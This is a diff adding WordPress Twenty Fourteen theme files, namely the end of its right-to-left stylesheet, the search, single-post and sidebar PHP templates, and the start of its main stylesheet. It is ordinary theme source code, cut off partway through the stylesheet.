+Description: Adds support for languages written in a Right To Left (RTL) direction.
+It's easy, just a matter of overwriting all the horizontal positioning attributes
+of your CSS stylesheet in a separate stylesheet file named rtl.css.
+
+See https://codex.wordpress.org/Right_to_Left_Language_Support
+*/
+
+/**
+ * Table of Contents:
+ *
+ * 1.0 - Reset
+ * 2.0 - Repeatable Patterns
+ * 4.0 - Header
+ * 5.0 - Navigation
+ * 6.0 - Content
+ *   6.3 - Entry Meta
+ *   6.4 - Entry Content
+ *   6.5 - Galleries
+ *   6.7 - Post/Image/Paging Navigation
+ *   6.10 - Contributor Page
+ *   6.14 - Comments
+ * 7.0 - Sidebar
+ *   7.1 - Widgets
+ *   7.2 - Content Sidebar Widgets
+ * 9.0 - Featured Content
+ * 10.0 - Media Queries
+ * -----------------------------------------------------------------------------
+ */
+
+
+/**
+ * 1.0 Reset
+ * -----------------------------------------------------------------------------
+ */
+
+body {
+	direction: rtl;
+	unicode-bidi: embed;
+}
+
+a {
+	display: inline-block;
+}
+
+ul,
+ol {
+	margin: 0 20px 24px 0;
+}
+
+li > ul,
+li > ol {
+	margin: 0 20px 0 0;
+}
+
+caption,
+th,
+td {
+	text-align: right;
+}
+
+
+/**
+ * 2.0 Repeatable Patterns
+ * -----------------------------------------------------------------------------
+ */
+
+.wp-caption-text {
+	padding-left: 10px;
+	padding-right: 0;
+}
+
+.screen-reader-text:focus {
+	right: 5px;
+	left: auto;
+}
+
+
+/**
+ * 4.0 Header
+ * -----------------------------------------------------------------------------
+ */
+
+.site-title {
+	float: right;
+}
+
+.search-toggle {
+	float: left;
+	margin-left: 38px;
+	margin-right: auto;
+}
+
+.search-box .search-field {
+	float: left;
+	padding: 1px 6px 2px 2px;
+}
+
+.search-toggle .screen-reader-text {
+	right: 5px; /* Avoid a horizontal scrollbar when the site has a long menu */
+	left: auto;
+}
+
+
+/**
+ * 5.0 Navigation
+ * -----------------------------------------------------------------------------
+ */
+
+.site-navigation ul ul {
+	margin-right: 20px;
+	margin-left: auto;
+}
+
+.menu-toggle {
+	right: auto;
+	left: 0;
+}
+
+
+/**
+ * 6.0 Content
+ * -----------------------------------------------------------------------------
+ */
+
+/**
+ * 6.3 Entry Meta
+ * -----------------------------------------------------------------------------
+ */
+
+.entry-meta .tag-links a {
+	margin: 0 10px 4px 4px;
+}
+
+.entry-meta .tag-links a:before {
+	border-right: 0;
+	border-left: 8px solid #767676;
+	right: -7px;
+	left: auto;
+}
+
+.entry-meta .tag-links a:hover:before,
+.entry-meta .tag-links a:focus:before {
+	border-left-color: #41a62a;
+}
+
+.entry-meta .tag-links a:after {
+	right: -2px;
+	left: auto;
+}
+
+
+/**
+ * 6.4 Entry Content
+ * -----------------------------------------------------------------------------
+ */
+
+.page-links a,
+.page-links > span {
+	margin: 0 0 2px 1px;
+}
+
+.page-links > .page-links-title {
+	padding-right: 0;
+	padding-left: 7px;
+}
+
+
+/**
+ * 6.5 Galleries
+ * -----------------------------------------------------------------------------
+ */
+
+.gallery-item {
+	float: right;
+	margin: 0 0 4px 4px;
+}
+
+.gallery-columns-1 .gallery-item:nth-of-type(1n),
+.gallery-columns-2 .gallery-item:nth-of-type(2n),
+.gallery-columns-3 .gallery-item:nth-of-type(3n),
+.gallery-columns-4 .gallery-item:nth-of-type(4n),
+.gallery-columns-5 .gallery-item:nth-of-type(5n),
+.gallery-columns-6 .gallery-item:nth-of-type(6n),
+.gallery-columns-7 .gallery-item:nth-of-type(7n),
+.gallery-columns-8 .gallery-item:nth-of-type(8n),
+.gallery-columns-9 .gallery-item:nth-of-type(9n) {
+	margin-right: auto;
+	margin-left: 0;
+}
+
+.gallery-caption {
+	padding: 6px 8px;
+	right: 0;
+	left: auto;
+	text-align: right;
+}
+
+.gallery-caption:before {
+	right: 0;
+	left: auto;
+}
+
+
+/**
+ * 6.7 Post/Image/Paging Navigation
+ * -----------------------------------------------------------------------------
+ */
+
+.paging-navigation .page-numbers {
+	margin-right: auto;
+	margin-left: 1px;
+}
+
+
+/**
+ * 6.10 Contributor Page
+ * -----------------------------------------------------------------------------
+ */
+
+.contributor-avatar {
+	float: right;
+	margin: 0 0 20px 30px;
+}
+
+
+/**
+ * 6.14 Comments
+ * -----------------------------------------------------------------------------
+ */
+
+.comment-author .avatar {
+	right: 0;
+	left: auto;
+}
+
+.bypostauthor > article .fn:before {
+	margin: 0 -2px 0 2px;
+}
+
+.comment-author,
+.comment-awaiting-moderation,
+.comment-content,
+.comment-list .reply,
+.comment-metadata {
+	padding-right: 30px;
+	padding-left: 0;
+}
+
+.comment-edit-link {
+	margin-right: 10px;
+	margin-left: auto;
+}
+
+.comment-reply-link:before,
+.comment-reply-login:before {
+	margin-left: auto;
+	margin-right: 2px;
+}
+
+.comment-reply-link:before,
+.comment-reply-login:before,
+.comment-edit-link:before {
+	-webkit-transform: scaleX(-1);
+	-moz-transform:    scaleX(-1);
+	-ms-transform:     scaleX(-1);
+	-o-transform:      scaleX(-1);
+	transform:         scaleX(-1);
+}
+
+.comment-content ul,
+.comment-content ol {
+	margin: 0 22px 24px 0;
+}
+
+.comment-list .children {
+	margin-right: 15px;
+	margin-left: auto;
+}
+
+.comment-reply-title small a {
+	float: left;
+}
+
+.comment-navigation .nav-previous a {
+	margin-right: auto;
+	margin-left: 10px;
+}
+
+.comment-form #wp-comment-cookies-consent {
+	margin: 0 0 0 10px;
+}
+
+/**
+ * 7.0 Sidebars
+ * -----------------------------------------------------------------------------
+ */
+
+/**
+ * 7.1 Widgets
+ * -----------------------------------------------------------------------------
+ */
+
+.widget li > ol,
+.widget li > ul {
+	margin-right: 10px;
+	margin-left: auto;
+}
+
+.widget input,
+.widget textarea {
+	padding: 1px 4px 2px 2px;
+}
+
+.widget_calendar caption {
+	text-align: right;
+}
+
+.widget_calendar #prev {
+	padding-right: 5px;
+	padding-left: 0;
+}
+
+.widget_calendar #next {
+	padding-right: 0;
+	padding-left: 5px;
+	text-align: left;
+}
+
+.widget_twentyfourteen_ephemera .entry-content ul,
+.widget_twentyfourteen_ephemera .entry-content ol {
+	margin: 0 20px 18px 0;
+}
+
+.widget_twentyfourteen_ephemera .entry-content li > ul,
+.widget_twentyfourteen_ephemera .entry-content li > ol {
+	margin: 0 20px 0 0;
+}
+
+.widget_text ul,
+.widget_text ol {
+	margin: 0 10px 12px 0;
+}
+
+/**
+ * 7.2 Content Sidebar Widgets
+ * -----------------------------------------------------------------------------
+ */
+
+.content-sidebar .widget li > ol,
+.content-sidebar .widget li > ul {
+	margin-right: 18px;
+	margin-left: auto;
+}
+
+.content-sidebar .widget_twentyfourteen_ephemera .widget-title:before {
+	margin: -1px 0 0 18px;
+}
+
+/**
+ * 8.0 Footer
+ * -----------------------------------------------------------------------------
+ */
+
+.site-info span[role=separator] {
+	padding: 0 0.5em;
+}
+
+/**
+ * 9.0 Featured Content
+ * -----------------------------------------------------------------------------
+ */
+
+.featured-content .post-thumbnail img {
+	right: 0;
+	left: auto;
+}
+
+.slider-viewport {
+	direction: ltr;
+}
+
+.slider .featured-content .entry-header {
+	right: 0;
+	left: auto;
+	text-align: right;
+}
+
+.slider-control-paging {
+	float: right;
+}
+
+.slider-control-paging li {
+	float: right;
+	margin: 2px 0 2px 4px;
+}
+
+.slider-control-paging li:last-child {
+	margin-right: auto;
+	margin-left: 0;
+}
+
+.slider-control-paging a:before {
+	right: 10px;
+	left: auto;
+}
+
+.slider-direction-nav li {
+	border-width: 2px 0 0 1px;
+	float: right;
+}
+
+.slider-direction-nav li:last-child {
+	border-width: 2px 1px 0 0;
+}
+
+.slider-direction-nav a:before {
+	content: "\f429";
+}
+
+.slider-direction-nav .slider-next:before {
+	content: "\f430";
+}
+
+
+/**
+ * 10.0 Media Queries
+ * -----------------------------------------------------------------------------
+ */
+
+@media screen and (max-width: 400px) {
+	.list-view .site-content .post-thumbnail img {
+		float: right;
+		margin: 0 0 3px 10px;
+	}
+}
+
+@media screen and (min-width: 401px) {
+	.site-content .entry-meta > span {
+		margin-right: auto;
+		margin-left: 10px;
+	}
+
+	.site-content .format-quote .post-format a:before {
+		margin-right: auto;
+		margin-left: 2px;
+	}
+
+	.site-content .format-gallery .post-format a:before {
+		margin-right: auto;
+		margin-left: 4px;
+	}
+
+	.site-content .format-aside .post-format a:before {
+		margin-right: auto;
+		margin-left: 2px;
+	}
+
+	.site-content .featured-post:before {
+		margin-right: auto;
+		margin-left: 3px;
+	}
+
+	.site-content .entry-date a:before,
+	.attachment .site-content span.entry-date:before {
+		margin-right: auto;
+		margin-left: 1px;
+	}
+
+	.site-content .comments-link a:before {
+		margin-right: auto;
+		margin-left: 2px;
+	}
+
+	.site-content .full-size-link a:before {
+		margin-right: auto;
+		margin-left: 1px;
+	}
+
+	.entry-content .edit-link a:before,
+	.entry-meta .edit-link a:before {
+		-webkit-transform: scaleX(-1);
+		-moz-transform:    scaleX(-1);
+		-ms-transform:     scaleX(-1);
+		-o-transform:      scaleX(-1);
+		transform:         scaleX(-1);
+	}
+}
+
+@media screen and (min-width: 594px) {
+	.site-content .entry-header {
+		padding-right: 30px;
+		padding-left: 30px;
+	}
+}
+
+@media screen and (min-width: 673px) {
+	.search-toggle {
+		margin-right: auto;
+		margin-left: 18px;
+	}
+
+	.content-area {
+		float: right;
+	}
+
+	.site-content {
+		margin-right: auto;
+		margin-left: 33.33333333%;
+	}
+
+	.archive-header,
+	.comments-area,
+	.image-navigation,
+	.page-header,
+	.page-content,
+	.post-navigation,
+	.site-content .entry-content,
+	.site-content .entry-summary,
+	.site-content footer.entry-meta {
+		padding-right: 30px;
+		padding-left: 30px;
+	}
+
+	.full-width .site-content {
+		margin-left: 0;
+	}
+
+	.content-sidebar {
+		float: left;
+		margin-right: -33.33333333%;
+		margin-left: auto;
+	}
+
+	.grid .featured-content .hentry {
+		float: right;
+	}
+
+	.slider-control-paging {
+		padding-right: 20px;
+		padding-left: 0;
+	}
+
+	.slider-direction-nav {
+		float: left;
+	}
+
+	.slider-direction-nav li {
+		padding: 0 0 0 1px;
+	}
+
+	.slider-direction-nav li:last-child {
+		padding: 0 1px 0 0;
+	}
+}
+
+@media screen and (min-width: 783px) {
+	.header-main {
+		padding-right: 30px;
+		padding-left: 0;
+	}
+
+	.search-toggle {
+		margin-right: auto;
+		margin-left: 0;
+	}
+
+	.primary-navigation {
+		float: left;
+		margin: 0 -12px 0 1px;
+	}
+
+	.primary-navigation ul ul {
+		float: right;
+		margin: 0;
+		right: -999em;
+		left: auto;
+	}
+
+	.primary-navigation ul ul ul {
+		right: -999em;
+		left: auto;
+	}
+
+	.primary-navigation ul li:hover > ul,
+	.primary-navigation ul li.focus > ul {
+		right: auto;
+	}
+
+	.primary-navigation ul ul li:hover > ul,
+	.primary-navigation ul ul li.focus > ul {
+		right: 100%;
+		left: auto;
+	}
+
+	.primary-navigation .menu-item-has-children > a,
+	.primary-navigation .page_item_has_children > a {
+		padding-right: 12px;
+		padding-left: 26px;
+	}
+
+	.primary-navigation .menu-item-has-children > a:after,
+	.primary-navigation .page_item_has_children > a:after {
+		right: auto;
+		left: 12px;
+	}
+
+	.primary-navigation li .menu-item-has-children > a,
+	.primary-navigation li .page_item_has_children > a {
+		padding-right: 12px;
+		padding-left: 20px;
+	}
+
+	.primary-navigation .menu-item-has-children li.menu-item-has-children > a:after,
+	.primary-navigation .menu-item-has-children li.page_item_has_children > a:after,
+	.primary-navigation .page_item_has_children li.menu-item-has-children > a:after,
+	.primary-navigation .page_item_has_children li.page_item_has_children > a:after {
+		content: "\f503";
+		right: auto;
+		left: 8px;
+	}
+}
+
+@media screen and (min-width: 810px) {
+	.attachment .entry-attachment .attachment {
+		margin-right: -168px;
+		margin-left: -168px;
+	}
+
+	.attachment .entry-attachment .attachment a {
+		display: block;
+	}
+
+	.contributor-avatar {
+		margin-right: -168px;
+		margin-left: auto;
+	}
+
+	.contributor-summary {
+		float: right;
+	}
+
+	.full-width .site-content blockquote.alignright,
+	.full-width .site-content img.size-full.alignright,
+	.full-width .site-content img.size-large.alignright,
+	.full-width .site-content img.size-medium.alignright,
+	.full-width .site-content .wp-caption.alignright {
+		margin-right: -168px;
+		margin-left: auto;
+	}
+
+	.full-width .site-content blockquote.alignleft,
+	.full-width .site-content img.size-full.alignleft,
+	.full-width .site-content img.size-large.alignleft,
+	.full-width .site-content img.size-medium.alignleft,
+	.full-width .site-content .wp-caption.alignleft {
+		margin-right: auto;
+		margin-left: -168px;
+	}
+}
+
+@media screen and (min-width: 846px) {
+	.comment-author,
+	.comment-awaiting-moderation,
+	.comment-content,
+	.comment-list .reply,
+	.comment-metadata {
+		padding-right: 50px;
+		padding-left: 0;
+	}
+
+	.comment-list .children {
+		margin-right: 20px;
+		margin-left: auto;
+	}
+}
+
+@media screen and (min-width: 1008px) {
+	.search-box-wrapper {
+		padding-right: 182px;
+		padding-left: 0;
+	}
+
+	.main-content {
+		float: right;
+	}
+
+	.site-content {
+		margin-right: 182px;
+		margin-left: 29.04761904%;
+	}
+
+	.full-width .site-content {
+		margin-right: 182px;
+	}
+
+	.content-sidebar {
+		margin-right: -29.04761904%;
+		margin-left: auto;
+	}
+
+	.site:before {
+		right: 0;
+		left: auto;
+	}
+
+	#secondary {
+		float: right;
+		margin: 0 -100% 0 0;
+	}
+
+	.secondary-navigation ul ul {
+		right: -999em;
+		left: auto;
+	}
+
+	.secondary-navigation ul li:hover > ul,
+	.secondary-navigation ul li.focus > ul {
+		right: 162px;
+		left: auto;
+	}
+
+	.secondary-navigation .menu-item-has-children > a {
+		padding-right: 30px;
+		padding-left: 38px;
+	}
+
+	.secondary-navigation .menu-item-has-children > a:after {
+		border-right-color: #fff;
+		border-left-color: transparent;
+		right: auto;
+		left: 26px;
+		content: "\f503";
+	}
+
+	.footer-sidebar .widget {
+		float: right;
+	}
+
+	.featured-content {
+		padding-right: 182px;
+		padding-left: 0;
+	}
+}
+
+@media screen and (min-width: 1040px) {
+	.archive-header,
+	.comments-area,
+	.image-navigation,
+	.page-header,
+	.page-content,
+	.post-navigation,
+	.site-content .entry-header,
+	.site-content .entry-content,
+	.site-content .entry-summary,
+	.site-content footer.entry-meta {
+		padding-right: 15px;
+		padding-left: 15px;
+	}
+
+	.full-width .archive-header,
+	.full-width .comments-area,
+	.full-width .image-navigation,
+	.full-width .page-header,
+	.full-width .page-content,
+	.full-width .post-navigation,
+	.full-width .site-content .entry-header,
+	.full-width .site-content .entry-content,
+	.full-width .site-content .entry-summary,
+	.full-width .site-content footer.entry-meta {
+		padding-right: 30px;
+		padding-left: 30px;
+	}
+}
+
+@media screen and (min-width: 1080px) {
+	.site-content {
+		margin-right: 222px;
+		margin-left: 29.04761904%;
+	}
+
+	.full-width .site-content {
+		margin-right: 222px;
+	}
+
+	.search-box-wrapper,
+	.featured-content {
+		padding-right: 222px;
+		padding-left: 0;
+	}
+
+	.secondary-navigation ul li:hover > ul,
+	.secondary-navigation ul li.focus > ul {
+		right: 202px;
+		left: auto;
+	}
+
+	.slider-control-paging {
+		padding-right: 24px;
+		padding-left: 0;
+	}
+
+	.slider-control-paging li {
+		margin: 12px 0 12px 12px;
+	}
+
+	.slider-control-paging a:before {
+		right: 6px;
+		left: auto;
+	}
+}
+
+@media screen and (min-width: 1110px) {
+	.archive-header,
+	.comments-area,
+	.image-navigation,
+	.page-header,
+	.page-content,
+	.post-navigation,
+	.site-content .entry-header,
+	.site-content .entry-content,
+	.site-content .entry-summary,
+	.site-content footer.entry-meta {
+		padding-right: 30px;
+		padding-left: 30px;
+	}
+}
+
+@media screen and (min-width: 1218px) {
+	.archive-header,
+	.comments-area,
+	.image-navigation,
+	.page-header,
+	.page-content,
+	.post-navigation,
+	.site-content .entry-header,
+	.site-content .entry-content,
+	.site-content .entry-summary,
+	.site-content footer.entry-meta {
+		margin-left: 54px;
+	}
+
+	.full-width .archive-header,
+	.full-width .comments-area,
+	.full-width .image-navigation,
+	.full-width .page-header,
+	.full-width .page-content,
+	.full-width .post-navigation,
+	.full-width .site-content .entry-header,
+	.full-width .site-content .entry-content,
+	.full-width .site-content .entry-summary,
+	.full-width .site-content footer.entry-meta {
+		margin-right: auto;
+		margin-left: auto;
+	}
+}
+
+@media screen and (min-width: 1260px) {
+	.site-content blockquote.alignright {
+		margin-right: -18%;
+		margin-left: auto;
+	}
+
+	.site-content blockquote.alignleft {
+		margin-left: -18%;
+		margin-right: auto;
+	}
+}
Index: /tags/5.0.20/src/wp-content/themes/twentyfourteen/search.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyfourteen/search.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyfourteen/search.php	(revision 56912)
@@ -0,0 +1,49 @@
+<?php
+/**
+ * The template for displaying Search Results pages
+ *
+ * @package WordPress
+ * @subpackage Twenty_Fourteen
+ * @since Twenty Fourteen 1.0
+ */
+
+get_header(); ?>
+
+	<section id="primary" class="content-area">
+		<div id="content" class="site-content" role="main">
+
+			<?php if ( have_posts() ) : ?>
+
+			<header class="page-header">
+				<h1 class="page-title"><?php printf( __( 'Search Results for: %s', 'twentyfourteen' ), get_search_query() ); ?></h1>
+			</header><!-- .page-header -->
+
+				<?php
+					// Start the Loop.
+					while ( have_posts() ) : the_post();
+
+						/*
+						 * Include the post format-specific template for the content. If you want to
+						 * use this in a child theme, then include a file called content-___.php
+						 * (where ___ is the post format) and that will be used instead.
+						 */
+						get_template_part( 'content', get_post_format() );
+
+					endwhile;
+					// Previous/next post navigation.
+					twentyfourteen_paging_nav();
+
+				else :
+					// If no content, include the "No posts found" template.
+					get_template_part( 'content', 'none' );
+
+				endif;
+			?>
+
+		</div><!-- #content -->
+	</section><!-- #primary -->
+
+<?php
+get_sidebar( 'content' );
+get_sidebar();
+get_footer();
Index: /tags/5.0.20/src/wp-content/themes/twentyfourteen/sidebar-content.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyfourteen/sidebar-content.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyfourteen/sidebar-content.php	(revision 56912)
@@ -0,0 +1,16 @@
+<?php
+/**
+ * The Content Sidebar
+ *
+ * @package WordPress
+ * @subpackage Twenty_Fourteen
+ * @since Twenty Fourteen 1.0
+ */
+
+if ( ! is_active_sidebar( 'sidebar-2' ) ) {
+	return;
+}
+?>
+<div id="content-sidebar" class="content-sidebar widget-area" role="complementary">
+	<?php dynamic_sidebar( 'sidebar-2' ); ?>
+</div><!-- #content-sidebar -->
Index: /tags/5.0.20/src/wp-content/themes/twentyfourteen/sidebar-footer.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyfourteen/sidebar-footer.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyfourteen/sidebar-footer.php	(revision 56912)
@@ -0,0 +1,19 @@
+<?php
+/**
+ * The Footer Sidebar
+ *
+ * @package WordPress
+ * @subpackage Twenty_Fourteen
+ * @since Twenty Fourteen 1.0
+ */
+
+if ( ! is_active_sidebar( 'sidebar-3' ) ) {
+	return;
+}
+?>
+
+<div id="supplementary">
+	<div id="footer-sidebar" class="footer-sidebar widget-area" role="complementary">
+		<?php dynamic_sidebar( 'sidebar-3' ); ?>
+	</div><!-- #footer-sidebar -->
+</div><!-- #supplementary -->
Index: /tags/5.0.20/src/wp-content/themes/twentyfourteen/sidebar.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyfourteen/sidebar.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyfourteen/sidebar.php	(revision 56912)
@@ -0,0 +1,29 @@
+<?php
+/**
+ * The Sidebar containing the main widget area
+ *
+ * @package WordPress
+ * @subpackage Twenty_Fourteen
+ * @since Twenty Fourteen 1.0
+ */
+?>
+<div id="secondary">
+	<?php
+		$description = get_bloginfo( 'description', 'display' );
+		if ( ! empty ( $description ) ) :
+	?>
+	<h2 class="site-description"><?php echo esc_html( $description ); ?></h2>
+	<?php endif; ?>
+
+	<?php if ( has_nav_menu( 'secondary' ) ) : ?>
+	<nav role="navigation" class="navigation site-navigation secondary-navigation">
+		<?php wp_nav_menu( array( 'theme_location' => 'secondary' ) ); ?>
+	</nav>
+	<?php endif; ?>
+
+	<?php if ( is_active_sidebar( 'sidebar-1' ) ) : ?>
+	<div id="primary-sidebar" class="primary-sidebar widget-area" role="complementary">
+		<?php dynamic_sidebar( 'sidebar-1' ); ?>
+	</div><!-- #primary-sidebar -->
+	<?php endif; ?>
+</div><!-- #secondary -->
Index: /tags/5.0.20/src/wp-content/themes/twentyfourteen/single.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyfourteen/single.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyfourteen/single.php	(revision 56912)
@@ -0,0 +1,40 @@
+<?php
+/**
+ * The Template for displaying all single posts
+ *
+ * @package WordPress
+ * @subpackage Twenty_Fourteen
+ * @since Twenty Fourteen 1.0
+ */
+
+get_header(); ?>
+
+	<div id="primary" class="content-area">
+		<div id="content" class="site-content" role="main">
+			<?php
+				// Start the Loop.
+				while ( have_posts() ) : the_post();
+
+					/*
+					 * Include the post format-specific template for the content. If you want to
+					 * use this in a child theme, then include a file called content-___.php
+					 * (where ___ is the post format) and that will be used instead.
+					 */
+					get_template_part( 'content', get_post_format() );
+
+					// Previous/next post navigation.
+					twentyfourteen_post_nav();
+
+					// If comments are open or we have at least one comment, load up the comment template.
+					if ( comments_open() || get_comments_number() ) {
+						comments_template();
+					}
+				endwhile;
+			?>
+		</div><!-- #content -->
+	</div><!-- #primary -->
+
+<?php
+get_sidebar( 'content' );
+get_sidebar();
+get_footer();
Index: /tags/5.0.20/src/wp-content/themes/twentyfourteen/style.css
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyfourteen/style.css	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyfourteen/style.css	(revision 56912)
@@ -0,0 +1,4436 @@
+/*
+Theme Name: Twenty Fourteen
+Theme URI: https://wordpress.org/themes/twentyfourteen/
+Author: the WordPress team
+Author URI: https://wordpress.org/
+Description: In 2014, our default theme lets you create a responsive magazine website with a sleek, modern design. Feature your favorite homepage content in either a grid or a slider. Use the three widget areas to customize your website, and change your content's layout with a full-width page template and a contributor page to show off your authors. Creating a magazine website with WordPress has never been easier.
+Version: 2.5
+License: GNU General Public License v2 or later
+License URI: http://www.gnu.org/licenses/gpl-2.0.html
+Tags: blog, news, two-columns, three-columns, left-sidebar, right-sidebar, custom-background, custom-header, custom-menu, editor-style, featured-images, flexible-header, footer-widgets, full-width-template, microformats, post-formats, rtl-language-support, sticky-post, theme-options, translation-ready, accessibility-ready
+Text Domain: twentyfourteen
+
+This theme, like WordPress, is licensed under the GPL.
+Use it to make something cool, have fun, and share what you've learned with others.
+*/
+
+/**
+ * Table of Contents:
+ *
+ * 1.0 - Reset
+ * 2.0 - Repeatable Patterns
+ * 3.0 - Basic Structure
+ * 4.0 - Header
+ * 5.0 - Navigation
+ * 6.0 - Content
+ *   6.1 - Post Thumbnail
+ *   6.2 - Entry Header
+ *   6.3 - Entry Meta
+ *   6.4 - Entry Content
+ *   6.5 - Galleries
+ *   6.6 - Post Formats
+ *   6.7 - Post/Image/Paging Navigation
+ *   6.8 - Attachments
+ *   6.9 - Archives
+ *   6.10 - Contributor Page
+ *   6.11 - 404 Page
+ *   6.12 - Full-width
+ *   6.13 - Singular
+ *   6.14 - Comments
+ * 7.0 - Sidebar
+ *   7.1 - Widgets
+ *   7.2 - Content Sidebar Widgets
+ * 8.0 - Footer
+ * 9.0 - Featured Content
+ * 10.0 - Multisite
+ * 11.0 - Media Queries
+ * 12.0 - Print
+ * -----------------------------------------------------------------------------
+ */
+
+
+/**
+ * 1.0 Reset
+ *
+ * Resetting and rebuilding styles have been helped along thanks to the fine
+ * work of Eric Meyer, Nicolas Gallagher, Jonathan Neal, and Blueprint.
+ *
+ * -----------------------------------------------------------------------------
+ */
+
+html, body, div, span, applet, object, iframe, h1, h2, h3, h4, h5, h6, p, blockquote, pre, a, abbr, acronym, address, big, cite, code, del, dfn, em, font, ins, kbd, q, s, samp, small, strike, strong, sub, sup, tt, var, dl, dt, dd, ol, ul, li, fieldset, form, label, legend, table, caption, tbody, tfoot, thead, tr, th, td {
+	border: 0;
+	font-family: inherit;
+	font-size: 100%;
+	font-style: inherit;
+	font-weight: inherit;
+	margin: 0;
+	outline: 0;
+	padding: 0;
+	vertical-align: baseline;
+}
+
+article,
+aside,
+details,
+figcaption,
+figure,
+footer,
+header,
+hgroup,
+nav,
+section {
+	display: block;
+}
+
+audio,
+canvas,
+video {
+	display: inline-block;
+	max-width: 100%;
+}
+
+html {
+	overflow-y: scroll;
+	-webkit-text-size-adjust: 100%;
+	-ms-text-size-adjust:     100%;
+}
+
+body,
+button,
+input,
+select,
+textarea {
+	color: #2b2b2b;
+	font-family: Lato, sans-serif;
+	font-size: 16px;
+	font-weight: 400;
+	line-height: 1.5;
+}
+
+body {
+	background: #f5f5f5;
+}
+
+a {
+	color: #24890d;
+	text-decoration: none;
+}
+
+a:focus {
+	outline: thin dotted;
+}
+
+a:hover,
+a:active {
+	outline: 0;
+}
+
+a:active,
+a:hover {
+	color: #41a62a;
+}
+
+h1,
+h2,
+h3,
+h4,
+h5,
+h6 {
+	clear: both;
+	font-weight: 700;
+	margin: 36px 0 12px;
+}
+
+h1 {
+	font-size: 26px;
+	line-height: 1.3846153846;
+}
+
+h2 {
+	font-size: 24px;
+	line-height: 1;
+}
+
+h3 {
+	font-size: 22px;
+	line-height: 1.0909090909;
+}
+
+h4 {
+	font-size: 20px;
+	line-height: 1.2;
+}
+
+h5 {
+	font-size: 18px;
+	line-height: 1.3333333333;
+}
+
+h6 {
+	font-size: 16px;
+	line-height: 1.5;
+}
+
+address {
+	font-style: italic;
+	margin-bottom: 24px;
+}
+
+abbr[title] {
+	border-bottom: 1px dotted #2b2b2b;
+	cursor: help;
+}
+
+b,
+strong {
+	font-weight: 700;
+}
+
+cite,
+dfn,
+em,
+i {
+	font-style: italic;
+}
+
+mark,
+ins {
+	background: #fff9c0;
+	text-decoration: none;
+}
+
+p {
+	margin-bottom: 24px;
+}
+
+code,
+kbd,
+tt,
+var,
+samp,
+pre {
+	font-family: monospace, serif;
+	font-size: 15px;
+	-webkit-hyphens: none;
+	-moz-hyphens:    none;
+	-ms-hyphens:     none;
+	hyphens:         none;
+	line-height: 1.6;
+}
+
+pre {
+	border: 1px solid rgba(0, 0, 0, 0.1);
+	-webkit-box-sizing: border-box;
+	-moz-box-sizing:    border-box;
+	box-sizing:         border-box;
+	margin-bottom: 24px;
+	max-width: 100%;
+	overflow: auto;
+	padding: 12px;
+	white-space: pre;
+	white-space: pre-wrap;
+	word-wrap: break-word;
+}
+
+blockquote,
+q {
+	-webkit-hyphens: none;
+	-moz-hyphens:    none;
+	-ms-hyphens:     none;
+	hyphens:         none;
+	quotes: none;
+}
+
+blockquote:before,
+blockquote:after,
+q:before,
+q:after {
+	content: "";
+	content: none;
+}
+
+blockquote {
+	color: #767676;
+	font-size: 19px;
+	font-style: italic;
+	font-weight: 300;
+	line-height: 1.2631578947;
+	margin-bottom: 24px;
+}
+
+blockquote cite,
+blockquote small {
+	color: #2b2b2b;
+	font-size: 16px;
+	font-weight: 400;
+	line-height: 1.5;
+}
+
+blockquote em,
+blockquote i,
+blockquote cite {
+	font-style: normal;
+}
+
+blockquote strong,
+blockquote b {
+	font-weight: 400;
+}
+
+small {
+	font-size: smaller;
+}
+
+big {
+	font-size: 125%;
+}
+
+sup,
+sub {
+	font-size: 75%;
+	height: 0;
+	line-height: 0;
+	position: relative;
+	vertical-align: baseline;
+}
+
+sup {
+	bottom: 1ex;
+}
+
+sub {
+	top: .5ex;
+}
+
+dl {
+	margin-bottom: 24px;
+}
+
+dt {
+	font-weight: bold;
+}
+
+dd {
+	margin-bottom: 24px;
+}
+
+ul,
+ol {
+	list-style: none;
+	margin: 0 0 24px 20px;
+}
+
+ul {
+	list-style: disc;
+}
+
+ol {
+	list-style: decimal;
+}
+
+li > ul,
+li > ol {
+	margin: 0 0 0 20px;
+}
+
+img {
+	-ms-interpolation-mode: bicubic;
+	border: 0;
+	vertical-align: middle;
+}
+
+figure {
+	margin: 0;
+}
+
+fieldset {
+	border: 1px solid rgba(0, 0, 0, 0.1);
+	margin: 0 0 24px;
+	min-width: inherit;
+	padding: 11px 12px 0;
+}
+
+legend {
+	white-space: normal;
+}
+
+button,
+input,
+select,
+textarea {
+	-webkit-box-sizing: border-box;
+	-moz-box-sizing:    border-box;
+	box-sizing:         border-box;
+	font-size: 100%;
+	margin: 0;
+	max-width: 100%;
+	vertical-align: baseline;
+}
+
+button,
+input {
+	line-height: normal;
+}
+
+input,
+textarea {
+	background-image: -webkit-linear-gradient(hsla(0,0%,100%,0), hsla(0,0%,100%,0)); /* Removing the inner shadow, rounded corners on iOS inputs */
+}
+
+button,
+html input[type="button"],
+input[type="reset"],
+input[type="submit"] {
+	-webkit-appearance: button;
+	cursor: pointer;
+}
+
+button[disabled],
+input[disabled] {
+	cursor: default;
+}
+
+input[type="checkbox"],
+input[type="radio"] {
+	padding: 0;
+}
+
+input[type="search"] {
+	-webkit-appearance: textfield;
+}
+
+input[type="search"]::-webkit-search-decoration {
+	-webkit-appearance: none;
+}
+
+button::-moz-focus-inner,
+input::-moz-focus-inner {
+	border: 0;
+	padding: 0;
+}
+
+textarea {
+	overflow: auto;
+	vertical-align: top;
+}
+
+table,
+th,
+td {
+	border: 1px solid rgba(0, 0, 0, 0.1);
+}
+
+table {
+	border-collapse: separate;
+	border-spacing: 0;
+	border-width: 1px 0 0 1px;
+	margin-bottom: 24px;
+	width: 100%;
+}
+
+caption,
+th,
+td {
+	font-weight: normal;
+	text-align: left;
+}
+
+th {
